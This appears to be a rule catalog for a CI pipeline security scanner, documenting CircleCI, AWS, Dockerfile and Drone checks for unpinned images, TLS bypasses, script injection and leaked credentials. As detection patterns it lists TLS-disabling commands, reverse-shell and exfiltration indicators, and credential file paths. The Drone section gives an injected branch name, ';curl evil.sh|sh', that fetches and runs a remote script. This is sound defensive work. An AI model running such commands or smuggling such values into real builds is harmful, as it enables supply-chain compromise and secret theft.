How this is detected. Detects pip install --upgrade, npm update, yarn upgrade, bundle update, cargo update, go get -u, and composer update. These commands bypass lockfile pins and pull whatever version is currently latest. Tooling upgrades (pip install --upgrade pip) are exempted.

Recommendation. Remove dependency-update commands from CI. Use lockfile-pinned install commands (npm ci, pip install -r requirements.txt) and update dependencies via a dedicated PR workflow (e.g. Dependabot, Renovate).

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Common build-tool bootstrapping idioms (pip install --upgrade pip, pip install --upgrade setuptools wheel virtualenv) and security-tool installs (pip install --upgrade pip-audit / cyclonedx-bom / semgrep) are exempted by the DEP_UPDATE_RE tooling allowlist. Other tooling-upgrade idioms not yet on the list can still trip the rule. Defaults to MEDIUM confidence so CI gates can require --min-confidence HIGH to ignore.

Source: CC-022 in the CircleCI provider.

CC-023: TLS / certificate verification bypass HIGH 🔧 fix

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Detects patterns that disable TLS certificate verification: git config http.sslVerify false, NODE_TLS_REJECT_UNAUTHORIZED=0, npm config set strict-ssl false, curl -k, wget --no-check-certificate, PYTHONHTTPSVERIFY=0, and GOINSECURE=. Disabling TLS verification allows MITM injection of malicious packages, repositories, or build tools.

Recommendation. Remove TLS verification bypasses. Fix certificate issues at the source (install CA certificates, configure proper trust stores) instead of disabling verification.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: CC-023 in the CircleCI provider.

CC-024: No SLSA provenance attestation produced MEDIUM

Evidences: Signed-Releases Release artifacts are cryptographically signed.

How this is detected. Signing (cosign sign) binds identity to bytes; attestation (cosign attest) binds a structured claim about how the artifact was built. SLSA verifiers check the latter so consumers can enforce builder/source/parameter policies.

Recommendation. Add a run: cosign attest command against a provenance.intoto.jsonl statement, or use the circleci/attestation orb. CC-006 covers signing; this rule covers the build-provenance step SLSA Build L3 requires.

Source: CC-024 in the CircleCI provider.

CC-025: Cache key derives from attacker-controllable input MEDIUM

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. CircleCI's restore_cache falls through each listed key until it finds a hit. When one of those keys is derived from CIRCLE_BRANCH, CIRCLE_TAG, or CIRCLE_PR_*, values an attacker can set by opening a PR, the attacker can plant a cache entry that a protected job later uses. Uses checksum-of-lockfile or a static version label instead.

Recommendation. Derive save_cache and restore_cache keys from values the attacker can't control, the lockfile checksum ({{ checksum "package-lock.json" }}) and the build variant, not {{ .Branch }} or ${CIRCLE_PR_NUMBER}. A PR-scoped branch can seed a poisoned cache entry that a later main-branch run restores as trusted.

Source: CC-025 in the CircleCI provider.

CC-026: Config contains indicators of malicious activity CRITICAL

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Fires on concrete indicators only (reverse shells, base64-decoded execution, miner binaries, Discord/Telegram webhooks, webhook.site callbacks, credential-dump pipes, history-erasure).

Recommendation. Treat as a potential compromise. Identify the PR that added the matching step(s), rotate any contexts/env vars the pipeline can reach, and audit recent CircleCI runs for outbound traffic to the matched hosts.

Known false positives.

  • Security-training repositories, CTF challenges, and red-team exercise pipelines legitimately contain reverse-shell strings or exfil domains as literals. Matches inside YAML keys / HCL attributes whose names contain example, fixture, sample, demo, or test are auto-suppressed; bare lines in a production pipeline still fire.
  • Defaults to LOW confidence. Filter with --min-confidence MEDIUM to ignore all matches; the rule still surfaces the hit for teams that want to spot-check.

Source: CC-026 in the CircleCI provider.

CC-027: Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Complements CC-002 (script injection from untrusted context). Fires on intrinsically risky shell idioms, eval, sh -c "$X", backtick exec, regardless of whether the input source is currently trusted.

Recommendation. Replace eval "$VAR" / sh -c "$VAR" / backtick exec with direct command invocation. Validate or allow-list any value that must feed a dynamic command at the boundary.

Known false positives.

  • eval "$(ssh-agent -s)" and similar eval "$(<literal-tool>)" bootstrap idioms are intentionally NOT flagged, the substituted command is literal, only its output is eval'd.

Source: CC-027 in the CircleCI provider.

CC-028: Package install bypasses registry integrity (git / path / tarball source) MEDIUM

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Complements CC-021 (missing lockfile flag). Git URL installs without a commit pin, local-path installs, and direct tarball URLs bypass the registry integrity controls the lockfile relies on.

Recommendation. Pin git dependencies to a commit SHA. Publish private packages to an internal registry instead of installing from a filesystem path or tarball URL.

Source: CC-028 in the CircleCI provider.

CC-029: Machine executor image not pinned HIGH

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. CC-003 covers Docker images declared under docker: blocks. It does not reach the machine executor, where the image is on machine.image. A rolling tag (current, edge, default) pulls a fresh image whenever CircleCI publishes one, reintroducing the same supply-chain risk Docker-image pinning is designed to eliminate.

Recommendation. Pin every machine.image to a dated release tag, ubuntu-2204:2024.05.1 rather than :current, :edge, :default, or a bare image name. CircleCI rotates the current / edge aliases on its own cadence, so builds re-run on an image the author never reviewed.

Source: CC-029 in the CircleCI provider.

CC-030: Workflow job uses context without branch filter or approval gate MEDIUM

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. CircleCI contexts are the recommended way to store shared secrets, but binding a context to a job is only half of least-privilege, the other half is controlling when the binding activates. Unrestricted workflow entries with context: turn every branch push into a secret-read event.

Recommendation. Either add filters.branches.only: [<protected branches>] to restrict when the context-bound job runs, or require a type: approval job in requires: so a human gates the secret-carrying execution. Without either gate, every push to the project loads the context's secrets into an ephemeral runner where any compromised step can exfiltrate them.

Source: CC-030 in the CircleCI provider.

CCM-001: CodeCommit repository has no approval rule template attached HIGH

Evidences: Code-Review Changes merged to the default branch require review.

How this is detected. Approval-rule templates are CodeCommit's analog of GitHub's branch-protection require-review. Without one associated, the repository accepts merges from any push-permitted principal, including the PR author themselves, without any second-pair-of-eyes gate.

Recommendation. Create a CodeCommit approval-rule template requiring at least one approval from a designated pool of reviewers and associate it with every repository. Without one, any PR author with push rights can self-approve and merge.

Source: CCM-001 in the AWS provider.

CCM-003: CodeCommit trigger targets SNS/Lambda in a different account MEDIUM

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. A repo trigger pointing at an SNS topic or Lambda in a different account fires under the receiving account's permissions on every push. Sometimes this is the intended shape (a centralized notifications account), but a cross-account fan-out from a compromised repo can drive actions in the receiving account that the source-account owner can't directly observe.

Recommendation. Move trigger targets into the same account as the repository or explicitly document the cross-account relationship. Cross-account triggers extend the blast radius of a repository compromise to whatever the target ARN can do.

Source: CCM-003 in the AWS provider.

CD-002: AllAtOnce deployment config, no canary or rolling strategy HIGH

Evidences: Code-Review Changes merged to the default branch require review.

How this is detected. AllAtOnce shifts 100% of traffic to the new revision in one step. There's no gradient to halt on if a CloudWatch alarm trips mid-rollout, the bad revision is already serving every request. Canary / linear configs introduce the shift-then-watch shape that lets monitors catch a regression before it's universal.

Recommendation. Switch to a canary or linear deployment configuration (e.g. CodeDeployDefault.LambdaCanary10Percent5Minutes or a custom rolling config) so that defects are caught before they affect all instances or traffic.

Source: CD-002 in the AWS provider.

CP-001: No approval action before deploy stages HIGH

Evidences: Code-Review Changes merged to the default branch require review.

How this is detected. A pipeline that goes Source -> Build -> Deploy with no Approval action means every commit on the source branch ships, with no human ack between code-merged and code-running-in-prod. The Manual approval action is the intentional pause point, combine with CP-005 for production-tagged stages specifically.

Recommendation. Add a Manual approval action to a stage that precedes every Deploy stage that targets a production or sensitive environment.

Source: CP-001 in the AWS provider.

CP-002: Artifact store not encrypted with customer-managed KMS key MEDIUM

Evidences: Signed-Releases Release artifacts are cryptographically signed.

How this is detected. The pipeline's S3 artifact store holds intermediate build outputs handed between stages. Default SSE-S3 (AES256) encrypts at rest but uses an AWS-owned key whose policy you can't scope. A customer-managed CMK gives the same key-policy + CloudTrail Decrypt-event audit story you'd apply to Lambda code, Secrets Manager, or any other build output.

Recommendation. Configure a customer-managed AWS KMS key as the encryptionKey for each artifact store. This enables key rotation, fine-grained access policies, and CloudTrail auditing of decrypt operations.

Source: CP-002 in the AWS provider.

CP-003: Source stage using polling instead of event-driven trigger LOW

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. PollForSourceChanges=true polls the source repo every minute or two. Beyond the API-quota and latency cost, polling produces a less-useful CloudTrail story than event-driven triggers. You see the poll calls, not the specific commit that started the pipeline. EventBridge / CodeCommit triggers tie each pipeline start to the originating event.

Recommendation. Set PollForSourceChanges=false and configure an Amazon EventBridge rule or CodeCommit trigger to start the pipeline on change. This reduces latency, API usage, and improves auditability.

Known false positives.

  • PollForSourceChanges=true is the CFN default for CodeCommit sources, so legacy templates can carry the flag without an active design decision behind it. The rule is advisory (consider EventBridge / CodeStarSourceConnection) rather than a real risk; defaults to LOW confidence so CI gates default-filter it.

Source: CP-003 in the AWS provider.

CP-004: Legacy ThirdParty/GitHub source action (OAuth token) HIGH

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. The legacy ThirdParty/GitHub source-action provider stores a long-lived OAuth token in the pipeline's action configuration. The token has whatever scope the granting GitHub user has, never rotates, and isn't directly revocable from the AWS side. CodeConnections (formerly CodeStar Connections) replaces this with an AWS-managed connection that the GitHub user can revoke.

Recommendation. Migrate to owner=AWS, provider=CodeStarSourceConnection and reference a CodeConnections connection ARN.

Source: CP-004 in the AWS provider.

CP-005: Production Deploy stage has no preceding ManualApproval MEDIUM

Evidences: Code-Review Changes merged to the default branch require review.

How this is detected. The complement to CP-001: this rule fires only on stages whose name contains prod / production / live. Even teams that intentionally skip approvals for dev / staging deploys usually want a human in the loop for a production-tagged target.

Recommendation. Add a Manual approval action immediately before any stage whose name contains prod / production. CP-001 covers the generic case; this rule specifically looks at production-tagged stages where the blast radius of an unreviewed deploy is largest.

Source: CP-005 in the AWS provider.

CP-007: CodePipeline v2 PR trigger accepts all branches HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. V2 pipelines added native PR triggers; without a branches.includes filter, any PR, including fork PRs from outside the org, fires the pipeline. The build stage runs with whatever IAM authority the pipeline's role carries, which is the full attack surface a fork-PR compromise can reach.

Recommendation. On V2 pipelines, add an includes filter under the trigger's branches block (and optionally pullRequest.events) so only PRs targeting specific branches run. Without a filter, any fork-PR can execute the pipeline's build and deploy stages.

Source: CP-007 in the AWS provider.

DF-001: FROM image not pinned to sha256 digest HIGH 🔧 fix

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Reuses _primitives/image_pinning.classify so the floating-tag semantics match GL-001 / JF-009 / ADO-009 / CC-003. PINNED_TAG (e.g. python:3.12.1-slim) is treated as unpinned here too, only an explicit @sha256: survives, since the tag is mutable on the registry side.

Recommendation. Resolve every base image to its current digest (docker buildx imagetools inspect <ref> prints it) and pin via FROM repo@sha256:<digest>. Automate refreshes with Renovate or Dependabot. A floating tag (:latest, :3, no tag) silently swaps the build base under every rebuild.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Seen in the wild.

  • Docker Hub typosquatting / namespace-takeover incidents (2017 onward): docker-library Sysdig and Aqua research documented thousands of malicious images uploaded under near-miss names (alpine vs alphine, etc.) and occasional namespace recoveries shipping crypto-miners downstream. Digest-pinned consumers are immune; tag-pinned consumers pull whatever sits under the name today.
  • Codecov codecov/codecov-action tag-mutation incident (post-Codecov-Bash-uploader compromise): the upstream rotated the action's @v3 tag during the fallout, and consumers pinning to the tag silently re-ran a different build than before. Digest pinning would have surfaced the change as a checksum mismatch instead of a silent swap.

Source: DF-001 in the Dockerfile provider.

DF-003: ADD pulls remote URL without integrity verification HIGH

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. ADD with a URL is the historical Dockerfile footgun: it fetches at build time over HTTP(S) with no checksum and no signature, and the registry tag does not pin the source. A tampered server or DNS hijack silently swaps the content. COPY is for local files; RUN curl + verify is for remote ones.

Recommendation. Replace ADD https://... with a multi-step RUN: download the file with curl -fsSLo, verify a known-good checksum (sha256sum -c) or signature (cosign verify-blob), then extract / install. Better still: download the artifact in a builder stage and COPY it across. That way the verifier runs once at build time, not per-pull.

Source: DF-003 in the Dockerfile provider.

DF-004: RUN executes a remote script via curl-pipe / wget-pipe HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection), Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Reuses _primitives/remote_script_exec.scan so the vocabulary matches the equivalent CI-side rules (GHA-016, GL-016, BB-012, ADO-016, CC-016, JF-016).

Recommendation. Download to a file, verify checksum or signature, then execute. curl -fsSL <url> -o /tmp/x.sh && sha256sum -c <(echo '<digest> /tmp/x.sh') && bash /tmp/x.sh. Vendor installers from well-known hosts (rustup.rs, get.docker.com, ...) are reported with vendor_trusted=true so reviewers can calibrate.

Source: DF-004 in the Dockerfile provider.

DF-005: RUN uses shell-eval (eval / sh -c on a variable / backticks) HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Reuses _primitives/shell_eval.scan, same primitive used by GHA-028 / GL-026 / BB-026 / ADO-027 / CC-027 / JF-030 so the safe / unsafe vocabulary matches across the tool.

Recommendation. Replace eval "$X" and sh -c "$X" with explicit argv invocations. If the build genuinely needs a templated command, render it through a sealed config file or use RUN --mount=type=secret with explicit input. $( … ) / backticks should never wrap interpolated user-controlled vars inside a Dockerfile.

Source: DF-005 in the Dockerfile provider.

DF-006: ENV or ARG carries a credential-shaped literal value CRITICAL

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Reuses _primitives/secret_shapes, flags AKIA-prefixed AWS keys outright (the literal AWS access-key shape) and credential-named keys (API_KEY, DB_PASSWORD, SECRET_TOKEN) when the value is a non-empty literal.

Recommendation. Never hard-code credentials in a Dockerfile. ENV values are baked into the image layer history, even if the value is later overwritten, docker history --no-trunc reads the original. Use RUN --mount=type=secret for build-time secrets or runtime env injection (docker run -e SECRET=…) for runtime ones. Rotate any secret already exposed.

Source: DF-006 in the Dockerfile provider.

DF-010: apt-get dist-upgrade / upgrade pulls unknown package versions LOW

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Running apt-get upgrade (or dist-upgrade) inside a Dockerfile is the classic pet-vs-cattle anti-pattern. Two back-to-back builds with the same Dockerfile can produce different images because the upstream archive moved between the two RUN invocations. dist-upgrade additionally relaxes dependency resolution. It can install / remove arbitrary packages to satisfy upgrades, so the resulting image's package set isn't even bounded by what the Dockerfile declares.

Recommendation. Drop the upgrade step. Build on a recent base image instead (rebuild your image when the base image gets a security patch, pin the base by digest per DF-001 so the rebuild is deterministic). apt-get install pkg=<version> for specific packages stays reproducible; upgrade / dist-upgrade does not.

Source: DF-010 in the Dockerfile provider.

DF-016: Image lacks OCI provenance labels LOW

Evidences: SBOM Releases publish a software bill of materials.

How this is detected. The OCI image-spec annotation set is a small de facto standard maintained by the OCI working group. Only image.source and image.revision are checked because they're the two whose absence makes incident response materially harder; image.title / image.description are nice-to-have but the rule doesn't fire on those.

Recommendation. Add a LABEL line carrying at least org.opencontainers.image.source (the URL of the source repo) and org.opencontainers.image.revision (the commit SHA built into the image). Most registries surface those fields in the UI and on manifest inspect, which closes the source-to-image gap that GHA-006 / SLSA Build-L2 provenance attestation also addresses.

Known false positives.

  • A multi-stage build's intermediate stages don't need provenance labels, only the final image ships. The rule fires per Dockerfile, not per stage; suppress for files where the final FROM is intentional throwaway scratch.

Source: DF-016 in the Dockerfile provider.

DF-019: COPY/ADD source path looks like a credential file HIGH 🔧 fix

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Fires on any COPY or ADD whose source basename is a well-known credential filename (id_rsa, .npmrc, .netrc, .env, terraform.tfvars, …) or whose path tail matches a canonical credential location (.aws/credentials, .docker/config.json, .kube/config). Files with private-key extensions (.pem, .key, .p12, .pfx, .jks) are also flagged. Globs are not expanded, the rule reads the literal source token.

Recommendation. Don't COPY credential files into an image. Anything baked into a layer is recoverable by anyone who can pull the image, even if a later step deletes the file. For build-time secrets (npm tokens, registry credentials, SSH deploy keys), use RUN --mount=type=secret,id=<name> so the value lives only for the duration of the step. For runtime secrets, mount them from the orchestrator (Kubernetes Secret, ECS task role, Vault sidecar) instead.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Empty placeholder files (.env shipped as a template, config.json carrying only public flags). Suppress with a brief .pipelinecheckignore rationale and prefer an explicit non-secret name (.env.example).

Source: DF-019 in the Dockerfile provider.

DF-020: ARG declares a credential-named build argument HIGH 🔧 fix

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Complements DF-006 (which flags an ENV/ARG with a literal credential-shaped value). This rule fires on the name alone, ARG NPM_TOKEN, ARG GITHUB_PAT, ARG DB_PASSWORD, even when no default is set, because BuildKit records the resolved value in the image's history the moment --build-arg supplies one. Names are matched via the same _primitives/secret_shapes regex used by the other secret-name rules.

Recommendation. Don't pass secrets through ARG. Build arguments are recorded in docker history whether the value comes from a default or from --build-arg at build time, so a credential-named ARG leaks the secret to anyone who can pull the image. Use RUN --mount=type=secret,id=<name> and feed the value with BuildKit's --secret flag, the secret never lands in a layer or in the build history.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • An ARG whose name matches the regex but is a non-secret config knob (a counter-example like ARG TOKEN_LIMIT). Rare; rename or suppress the finding with a brief rationale.

Source: DF-020 in the Dockerfile provider.

DR-001: Step image not pinned to a digest HIGH

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Detection mirrors the GL-001 / JF-009 / ADO-009 / CC-003 family: any container image: whose ref doesn't end in @sha256:<64 hex> fires. :latest and missing-tag references emit the strongest message; a specific-version tag (golang:1.21.5) still fires but can be fixed with a one-line digest swap. The rule scopes itself to type: docker / kubernetes pipelines (the container-flavored ones); ssh / exec / digitalocean pipelines have no image: field and pass-by-default.

Recommendation. Pin every step image: (and every services: image) to @sha256:<digest>. Drone resolves the image ref at run time, so a tag like golang:1.21 resolves against whatever the registry currently serves and a compromised registry can swap content under a fixed tag. Capture the digest once with docker buildx imagetools inspect golang:1.21 (or crane digest golang:1.21) and update the digest deliberately when the upstream version moves.

Known false positives.

  • Local-build images (image: my-org/build-tools:dev produced upstream in the same pipeline) sometimes can't be digest-pinned because the digest depends on the build. Suppress via ignore-file scoped to the specific step name when this is the deliberate shape; the floating-tag risk still applies to every public-registry pull.

Source: DR-001 in the Drone CI provider.

DR-002: Step runs with privileged: true HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Drone's privileged: true is a step-scoped switch that maps directly to docker run --privileged. The rule fires on either steps or services declaring the flag. The agent admin can also globally allow / deny privileged steps via the trusted-flag on the repository, the rule doesn't try to reach into Drone's server config and assumes the worst (a malicious or accidentally-trusted repo) so a privileged: true in source is always a finding.

Recommendation. Drop privileged: true from the step. The flag removes the container's syscall and capability boundary, giving the step kernel-level access to the agent host. Most workloads that reach for it are Docker-in-Docker pipelines that can use a rootless alternative (buildx, kaniko, buildah --isolation=chroot) instead. If the workload genuinely needs syscalls, scope down with explicit cap_add: [SYS_ADMIN] and an isolated runner pool, rather than blanket privileged.

Source: DR-002 in the Drone CI provider.

DR-003: Untrusted Drone template variable in shell command HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. User-controllable substitution sources flagged by this rule:

  • DRONE_COMMIT_MESSAGE / DRONE_COMMIT_AUTHOR*
  • DRONE_PULL_REQUEST_TITLE / DRONE_PULL_REQUEST_BRANCH
  • DRONE_TAG_MESSAGE (tag annotations are author-controlled)
  • DRONE_BRANCH / DRONE_SOURCE_BRANCH / DRONE_TARGET_BRANCH (branch names are pushable, so an attacker can craft a name like ;curl evil.sh|sh)
  • DRONE_REPO_* (in fork PRs the repo metadata comes from the fork)

The rule only fires on unquoted uses inside a command body. Quoted ("${DRONE_*}") or single-quoted uses are safe in POSIX shell because the substitution runs after Drone's templating but the shell still tokenises the expanded value as a single argument. Same model as the Tekton TKN-003 / Argo ARGO-005 / Buildkite BK-003 rules in this catalog.

Recommendation. Treat user-controllable Drone template variables as tainted. Drone substitutes ${DRONE_*} tokens before the shell parses the command, so an unquoted use is a textbook command-injection primitive. The safe pattern is to copy the value into the step's environment: block (MSG: ${DRONE_PULL_REQUEST_TITLE}) and reference the env var quoted in the command (echo "$MSG"). Drone's own docs call out the same hardening for build-message / commit-author fields.

Known false positives.

  • Trusted-only Drone variables (DRONE_BUILD_NUMBER, DRONE_BUILD_STATUS, DRONE_REPO_NAMESPACE for non-fork repos) aren't user-controllable and are safe to interpolate unquoted. Drone-template syntax can also appear in YAML strings outside commands:; this rule only scopes itself to step command bodies, so an unquoted use in (say) settings.message: doesn't fire here, those land under DR-004 / SBOM-style audits.

Source: DR-003 in the Drone CI provider.

DR-005: Plugin step uses a floating image tag HIGH

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Drone treats a step as a plugin when it has a settings: block. The image: field still names the container that runs, and the same supply-chain argument as DR-001 applies; this rule fires specifically on plugin steps using a floating tag (:latest, no tag, or a non-version-shaped tag) rather than every unpinned image, so a maintainer weighing trade-offs can ratchet plugin pinning up first. A pinned-version tag (plugins/docker:20.13.0) passes this rule but still trips DR-001 for the wider supply-chain hardening.

Recommendation. Pin every plugin step's image: to @sha256:<digest> or, at minimum, a specific version tag (plugins/docker:20.13.0 rather than plugins/docker:latest or plugins/docker). Plugin steps are a sharper attack surface than ordinary steps because Drone passes every settings: key to the plugin as an environment variable, including any secret references; a malicious plugin replacement can exfiltrate the entire credential set the step was trusted with.

Known false positives.

  • Internal-registry plugins built and pushed by the same pipeline (image: my-org/internal-plugin:dev produced upstream) sometimes can't be exact-pinned. Suppress via ignore-file scoped to the specific step name when this is the deliberate shape.

Source: DR-005 in the Drone CI provider.

DR-006: TLS verification disabled in step commands HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection), Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Detection is the same blob-regex used by GHA-027, BK-008, JF-022, ADO-026, CC-024, and the CFN/Terraform rule packs. Matches: curl --insecure / -k, wget --no-check-certificate, pip config set global.trusted-host, npm config set strict-ssl false, yarn config set strict-ssl false, git config http.sslverify false, GIT_SSL_NO_VERIFY=1, NODE_TLS_REJECT_UNAUTHORIZED=0, PYTHONHTTPSVERIFY=0, and GOINSECURE=.... The rule scans every commands: entry on every step.

Recommendation. Remove TLS-bypass flags from build commands. The most common offenders are curl --insecure / -k / wget --no-check-certificate, pip config set global.trusted-host, npm config set strict-ssl false, and git -c http.sslverify=false. Each exposes the build to TLS-MITM injection of a registry-served payload, which is a textbook supply-chain attack vector. If a registry's certificate is genuinely broken, fix the registry rather than permanently disabling verification, the bypass tends to outlive the broken cert and become a permanent weakness.

Source: DR-006 in the Drone CI provider.

DR-007: Step mounts a sensitive host path HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Drone's pipeline-level volumes: block accepts either temp: (an ephemeral tmpfs, safe) or host: { path: ... } (a bind mount of the agent's filesystem, the dangerous shape). The rule fires when any pipeline-level volume's host.path matches a sensitive prefix:

  • /var/run/docker.sock — the canonical Docker-in-Docker escape; equivalent to --privileged for container takeover purposes;
  • /var/lib/docker — exposes every image / container on the host;
  • /etc — config + credential files;
  • /proc / /sys — host kernel state;
  • / — full host takeover.

The rule fires on the volume declaration, not on step-level mounts. A pipeline that declares a sensitive host volume but no step actually mounts it is still flagged: the declaration alone signals the agent's Drone runner is configured to permit the bind mount, which is itself a risk-shape decision worth review.

Recommendation. Drop the host volume from the pipeline. Mounting /var/run/docker.sock from the agent host into a build container hands the container root-equivalent control over every other workload on the same agent (it can spawn arbitrary containers, including privileged ones). /var/lib/docker exposes every image and container on the host, /proc and /sys expose the host kernel state, and / (the host root) is full takeover. If the build genuinely needs Docker, run a rootless alternative (kaniko, buildah --isolation=chroot, docker buildx against a remote builder) or use Drone's trusted: true repo flag plus a dedicated host-isolated runner pool, rather than mounting the shared host's socket.

Known false positives.

  • Trusted-only pipelines on a dedicated runner fleet (no fork-PR access, no untrusted contributors) sometimes deliberately mount the Docker socket for image build / push workflows. Suppress via ignore-file when this is the deliberate posture and the runner pool's isolation is documented elsewhere; the rule has no way to know whether trusted: true is set on the repo from the pipeline YAML alone.

Source: DR-007 in the Drone CI provider.

DR-008: Step uses pull: never (skips registry verification) MEDIUM

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Drone supports three pull: policies on a step: always (re-fetch + verify on every build, the default), if-not-exists (use cache when present, otherwise pull), and never (use cache only). The never policy is the dangerous one because it skips the digest verification an always pull would perform, and there's no out-of-band signal that the cached image is the one the manifest names. The rule fires on either steps or services declaring pull: never. pull: if-not-exists is treated as acceptable: it's tolerable when paired with a digest-pinned image: (DR-001) and a deliberate operational decision; the explicit-skip case (never) is what TAINT-class supply-chain attacks lean on.

Recommendation. Drop the pull: never directive (or change it to pull: always / pull: if-not-exists). pull: never tells the Drone agent to skip the registry round-trip entirely, so the agent runs whatever image bytes it cached on a previous build without re-verifying the digest. If a compromised image ever landed in the agent's local cache (a poisoned registry tag, a manual docker pull during a debug session, a co-resident workload that pulled a malicious image), the cached bytes keep running until an operator manually clears the cache. pull: always (the Drone default) re-fetches and verifies on every build; pull: if-not-exists is acceptable when the image is digest-pinned (DR-001) so the cache key is content-addressed.

Known false positives.

  • Air-gapped or registry-pinned environments sometimes set pull: never deliberately because the agent never has registry access in the first place. Suppress via ignore-file when this is the deliberate shape; the runner's network isolation then carries the integrity guarantee instead of the registry round-trip.

Source: DR-008 in the Drone CI provider.

DR-009: Cache plugin key embeds an attacker-controllable Drone variable HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Drone has no first-party cache keyword; pipelines use plugin steps (drone-cache, drone-volume-cache, drone-s3-cache, etc.) configured via settings:. The rule fires on any plugin step whose settings.cache_key (or related key, mount, filename, restore_keys) interpolates a tainted Drone variable. Tainted vocabulary mirrors DR-003: $DRONE_BRANCH, $DRONE_PULL_REQUEST*, $DRONE_COMMIT_*MESSAGE, $DRONE_TAG_MESSAGE, and the fork-PR-shaped $DRONE_REPO_* family. The attack model is well-documented (GHA-011 catches the same shape on the GitHub Actions side).

Recommendation. Don't embed PR-controlled or branch-controlled Drone variables in cache keys. The canonical safe shape is to key on commit-stable inputs only: a checksum of the lockfile (${DRONE_REPO_BRANCH}-${DRONE_COMMIT_SHA} is unique enough; ${DRONE_BRANCH} alone is attacker-controllable). When two builds need to share a cache, key on the dependency manifest's hash, not on any branch / PR / repo metadata that a fork PR can shape. If a fork PR's cache write can ever be read back by a trusted-context build (the same key on a different branch), the attacker can inject malicious build artifacts into the trusted run.

Known false positives.

  • Plugins that namespace cache reads by branch on the write side and never read across branches (a deliberate cache partitioning) are technically safe, the attacker can poison their own branch's cache but can't reach the trusted-branch one. The rule has no way to verify partition boundaries at scan time; suppress via ignore-file scoped to the specific step name when the partitioning is audited.

Source: DR-009 in the Drone CI provider.

DR-010: Step commands run unpinned package installs MEDIUM

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Detection reuses the cross-provider primitives PKG_INSECURE_RE and PKG_NO_LOCKFILE_RE from checks/base.py. The same rule pack already exists for GHA (GHA-021 / GHA-022), GitLab (GL-021 / GL-022), Bitbucket / Azure DevOps / Jenkins / CircleCI / Cloud Build / Buildkite / Tekton / Argo. Drone was the missing port; this closes the gap.

Insecure variants matched (PKG_INSECURE_RE): pip --index-url http://, pip --trusted-host, npm --registry http://, gem --source http://, nuget --Source http://, cargo --index http://. Lockfile-bypass variants (PKG_NO_LOCKFILE_RE): npm install (should be npm ci), bare pip install <pkg> without -r or --require-hashes, yarn install without --frozen-lockfile, bundle install without --frozen, cargo install, go install without an @vN.N pin, poetry install without --no-update.

Recommendation. Pin every package install to a lockfile or a checksum-verified version. For pip, use pip install --require-hashes -r requirements.txt or -r requirements.txt with hashes baked into the lock; pip install <package> without a version pin or lockfile flag is the unsafe shape. For npm, prefer npm ci over npm install so the lockfile is load-bearing. Yarn: yarn install --frozen-lockfile. Bundle: bundle install --frozen. Cargo / go install: always pin to a tag or commit. Do NOT use --trusted-host / --no-verify / a non-HTTPS index URL — those bypass TLS or trust validation entirely (DR-006 covers the TLS subset; this rule covers the lockfile subset).

Known false positives.

